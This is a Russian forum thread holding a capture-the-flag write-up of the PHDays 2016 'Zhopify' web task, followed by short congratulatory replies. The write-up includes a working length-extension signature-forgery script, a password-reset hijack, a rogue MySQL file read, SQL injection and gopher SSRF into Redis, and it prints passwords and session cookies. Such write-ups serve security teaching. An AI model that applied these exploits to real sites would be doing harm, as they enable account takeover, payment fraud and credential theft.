Antichat CTF Team Write-up PHDays 2016 Zhopify или Megatask 2.0

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by banned, 20 Apr 2016.

  1. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Сайт http://zhopify.hackquest.phdays.com/web/

    Доступна регистрация, авторизация, восстановление пароля.
    После регистрации приходит письмо на почту такого вида:
    Отправитель письма [email protected] - запомнил.
    Админ умер, обидно.

    Потыкал все формы на xss/sql - ничего.

    Погрустил, запустил dirbuster который обнаружил .git директорию.
    Доступными инструментами спарсить гит не удалось т.к. после 2 запроса IP банится на ~10 минут.
    Написал дампер гита на php с поддержкой соксов.

    https://gist.github.com/firsov/734b98c7ac7d74a5cdf72eb83b9b607b

    Создаем временную папку, выполняем команду git init, скачиваем ./git/index файл с zhopify сайта и кладем в папку .git
    Выходим из папки .git выше и выполняем команду git ls-files > files.txt
    Теперь у нас есть огромный список файлов гита zhopify.

    Дальше запускаем скрипт и ждем.

    В гите оказалось около 3000 файлов мусора, там и wordpress и laravel и kohana и yii, ничего что могло бы нам помочь.

    [​IMG]

    Интересным оказался файл controllers/PayController.php, но на данном этапе он нам ничего не давал.

    Еще раз погрустил. Потом прилетел хинт про форму восстановления пароля.
    В форме указывается email адрес в поле с именем
    Code:
    ForgotForm[еmail]
    .
    Сделал запрос такого вида:
    Code:
    ForgotForm[email][][email protected]
    ForgotForm[email][][email protected]
    На почту прилетело письмо
    Вот прикол!

    Изменил пароль админу, захожу под ним, в админке вбиваю свой аккаунт, активирую его и ставлю статус developer. Больше в админке делать нечего.

    Захожу под своим аккаунтом. В профиле есть возможность купить план Elite за 31337$, но пополнение баланса не работает.
    Вспоминаю файл controllers/PayController.php из гита

    PHP:
    public function actionCheck()
        {
            
    // 1 usd pay test — {id: 1,
            //amount: 1,
            //system: 'liqpay',
            //email: 'admin@localhost',
            //plan: 'elite',
            //signature: '131e8bde0e05873a50b3f0fd112e53e59260038e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a6895dcd28c4c0702a7e0c8f0d2e843b854c215eadbb5'}
            
    if (Yii::$app->request->isAjax) {
                
    Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
                
    $data Yii::$app->request->post();
                if(!empty(
    $data['signature'])) {
                    if( !empty(
    $data['id']) && !empty($data['email']) && !empty($data['plan']) && !empty($data['amount']) && !empty($data['system']) ) {
                        if(
    $this->checkSign($data2) === true) {
                            if(
    Yii::$app->user->id == $data['id']) {
                                
    $user User::findIdentity(['id'=>Yii::$app->user->id]);
                                if(
    $user) {
                                    
    $user->balance += $data['amount'];
                                    if(
    $user->save()) {
                                        return [
    'ok' => 'Balance updated!'];
                                    }
                                }
                            }
                        }
                    }
                }
                return [
    'error' => 'Fatal error!'];
            }
            return 
    $this->render('pay', ['error' => 'Fatal error! Wrong singature!']);
        }

        private function 
    checkSign(array $params$key 1)
        {
            
    ksort($params);
            if(
    $key == 1) {
                
    $secretKey Yii::$app->params['PAY_KEY1'];
            } else {
                
    $secretKey Yii::$app->params['PAY_KEY2'];
            }
            
    $sign $params['signature'];
            unset(
    $params['signature']);
            
    $p implode(':'$params);
            
    $m hash('sha512''check:' $secretKey ':' $p);
            return 
    $m === $sign;
        }
    Сразу понятно - Length extension attack. Подробно описывать я ее не буду, в гугле полно информации.
    Эта часть далась довольно быстро потому что буквально неделю назад похожую задачу решал в другой ctf.
    Скрипт такой:
    PHP:
    // (c) mailbrush
    $data '1:admin@localhost:1:elite:liqpay';
    $orig_sig '131e8bde0e05873a50b3f0fd112e53e59260038e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a6895dcd28c4c0702a7e0c8f0d2e843b854c215eadbb5';
    $inject = ['id' => 130,
        
    'system' => 'a',
        
    'email' => 'b',
        
    'plan' => 'c',
        
    'amount' => 500000
    ];

    ksort($inject);
    $append ':' implode(':'$inject);

    for(
    $len 10$len 100$len++) {
        
    $out shell_exec("~/hash_extender/hash_extender -s {$orig_sig} -f sha512 -d '{$data}' -l {$len} -a '{$append}'");

        
    preg_match("/New signature: (.+?)\nNew string: (.+?)\n/"$out$matches);

        
    $signature $matches[1];
        
    $string hex2bin($matches[2]);

        
    $inject['_'] = substr($string0, -strlen($append));
        
    $inject['signature'] = $signature;

        
    $ch curl_init('http://zhopify.hackquest.phdays.com/web/pay/check');
        
    curl_setopt($chCURLOPT_COOKIE'_ga=GA1.2.282975945.1460493619; _ym_uid=1460493619624267473; _csrf=d0367421777791372c369b949fcfcf07ce5c66241e23c85306d93961d99ce13da%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22T5AOM5A_dMkTkmtTV75p2rZ106k-rTE2%22%3B%7D; PHPSESSID=ffejaaiu6ml4u0fc8t8nqli4k2; _identity=6c90ef95a4723cc6c423373ccaf0b8484877094b7c25e5307238a4a51f41a701a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A1%3Bs%3A48%3A%22%5B130%2C%22NQ9ZU3FZmbK36PwtkK4Cov_7BY61G4DX%22%2C2592000%5D%22%3B%7D');
        
    curl_setopt($chCURLOPT_HTTPHEADER, ['X-CSRF-Token: NElrUkVYbEFgfCodCG0tHlAEAAYuNRgVYn5eIncqNnAEfwB/Nwwpcw==''X-Requested-With: XMLHttpRequest']);
        
    curl_setopt($chCURLOPT_POSTFIELDS$inject);
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
    $res curl_exec($ch);

        echo 
    "$len $res\n";
    }

    echo 
    "\n";
    Баланс пополнен, план Elite куплен. Казалось бы первый флаг уже должны дать, а нет!


    Появился пункт меню Products, в котором есть Import From Mysql. (Импорт с удаленного mysql сервера)
    [​IMG]

    Привет, load data local infile.

    Качаем крутой скрипт от Gifts - https://github.com/Gifts/Rogue-MySql-Server
    Это фейковый mysql сервер который позволяет читать файлы системы которая к нему обращается.

    В админке указываем ip и порт нашего mysql сервера, остальные поля не важны.
    В нашем скрипте указываем файл для чтения index.php, там include ../config/web.php, там include db.php
    PHP:
    return [
        
    'class' => 'yii\\db\\Connection',
        
    'dsn' => 'mysql:host=localhost;dbname=zhopify',
        
    'username' => 'zhopify',
        
    'password' => 'uqBbFAWx/&:G6KNQRTtS',
        
    'charset' => 'utf8',
    ];
    Еще немного почитал исходники и стало понятно, что в импорте поля prefix и table уязвимы к SQL injection:

    В Mysql Import указываем 127.0.0.1 3306, данные из конфига, database zhopify, table пусто, в префикс SQL query:
    Получаем error based sql inj

    [​IMG]

    Flag 1: Welcome back to Megatask version two point zero.
    От флага посмеялся от души.


    Дальше хинтанули, что второй флаг лежит в редисе.
    Снаружи к нему подрубиться нельзя, в читалке gopher не работает.
    Нашелся файл ../.htaccess
    PHP:
    <Files "testCURLimage.php">
    Order allow,deny
    Allow from 127.0.0.1
    </Files>
    В /etc/hosts был найден алиас 127.0.0.1 zhopify.zhp
    Через читалку обращаемся к http://zhopify.zhp/testCURLimage.php , отлично, существует!
    Читаем содержимое файла:

    PHP:
    if (!empty($_GET['u'])) {
        
    $url_array parse_url($_GET['u']);
        if (
    $url_array !== FALSE) {
            if (!empty(
    $url_array['scheme']) && !in_array(strtolower($url_array['scheme']), ['file''dict''ftp']) ) {
                if (!empty(
    $url_array['host']) && !empty($url_array['path'])) {
                    
    $name basename($url_array['path']);
                    if (!empty(
    $name)) {
                        
    $ext pathinfo($namePATHINFO_EXTENSION);
                        if (
    $ext == 'jpg') {

                            if (
    $curl curl_init()) {
                                die;
                                
    curl_setopt($curlCURLOPT_URL$_GET['u']);
                                
    curl_setopt($curlCURLOPT_HEADERfalse);
                                
    curl_setopt($curlCURLOPT_CONNECTTIMEOUT5);
                                
    curl_setopt($curlCURLOPT_RETURNTRANSFERtrue);
                                
    curl_setopt($curlCURLOPT_FOLLOWLOCATIONfalse);
                                
    curl_setopt($curlCURLOPT_RANGE"1-1024*1024*1");

                                
    $out curl_exec($curl);
                                
    $data $out;
                                
    curl_close($curl);
                                if (
    $data !== false) {
                                    print 
    $data;
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    SSRF налицо.
    Необходимо передавать расширение jpg чтобы он выполнился.

    Попробуем доступен ли здесь gopher.
    Читаем файл так: Запрос есть - отлично.

    Чтобы расширение jpg не ломало запрос к редису, делать мы будем его так:
    После quit будет выход из редиса со статусом OK.

    Теперь мы можем обратиться к редису через gopher.
    Запрос Ответ: NOAUTH Authentication required. OK

    Читаем конфиг /etc/redis/redis.conf
    Пароль requirepass 78109f951153fd3bdcf4715bf041c96c76b17bad

    Делаем запрос
    Ответ: $45 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG

    Следующий запрос
    Ответ и флаг: Nice to see your asses here again!

    Отличное задание!
    Настоящий shopify заплатил бы за такое 31337$ :)
    Спасибо за помощь в решении таска mailbrush и yarbabin.
     
    #1 banned, 20 Apr 2016
    Last edited: 20 Apr 2016
    beginner2010, GHB, [aywo] and 26 others like this.
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    батька оф зе веб!
     
    _________________________
    gartos, Mister_Bert0ni and banned like this.
  3. Mister_Bert0ni

    Mister_Bert0ni Reservists Of Antichat

    Joined:
    10 May 2015
    Messages:
    142
    Likes Received:
    190
    Reputations:
    57
    грац)
     
  4. Mansoni

    Mansoni Member

    Joined:
    10 Mar 2016
    Messages:
    26
    Likes Received:
    12
    Reputations:
    1
    Офигенно поздравляю с победой
     
  5. Раrаdох

    Раrаdох Elder - Старейшина

    Joined:
    30 Jan 2014
    Messages:
    95
    Likes Received:
    140
    Reputations:
    33
    Какое унижение... Круто!
     
    оlbaneс and banned like this.
  6. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,163
    Likes Received:
    617
    Reputations:
    690
    классно! с победой!
     
    _________________________
    Alexandr II and Раrаdох like this.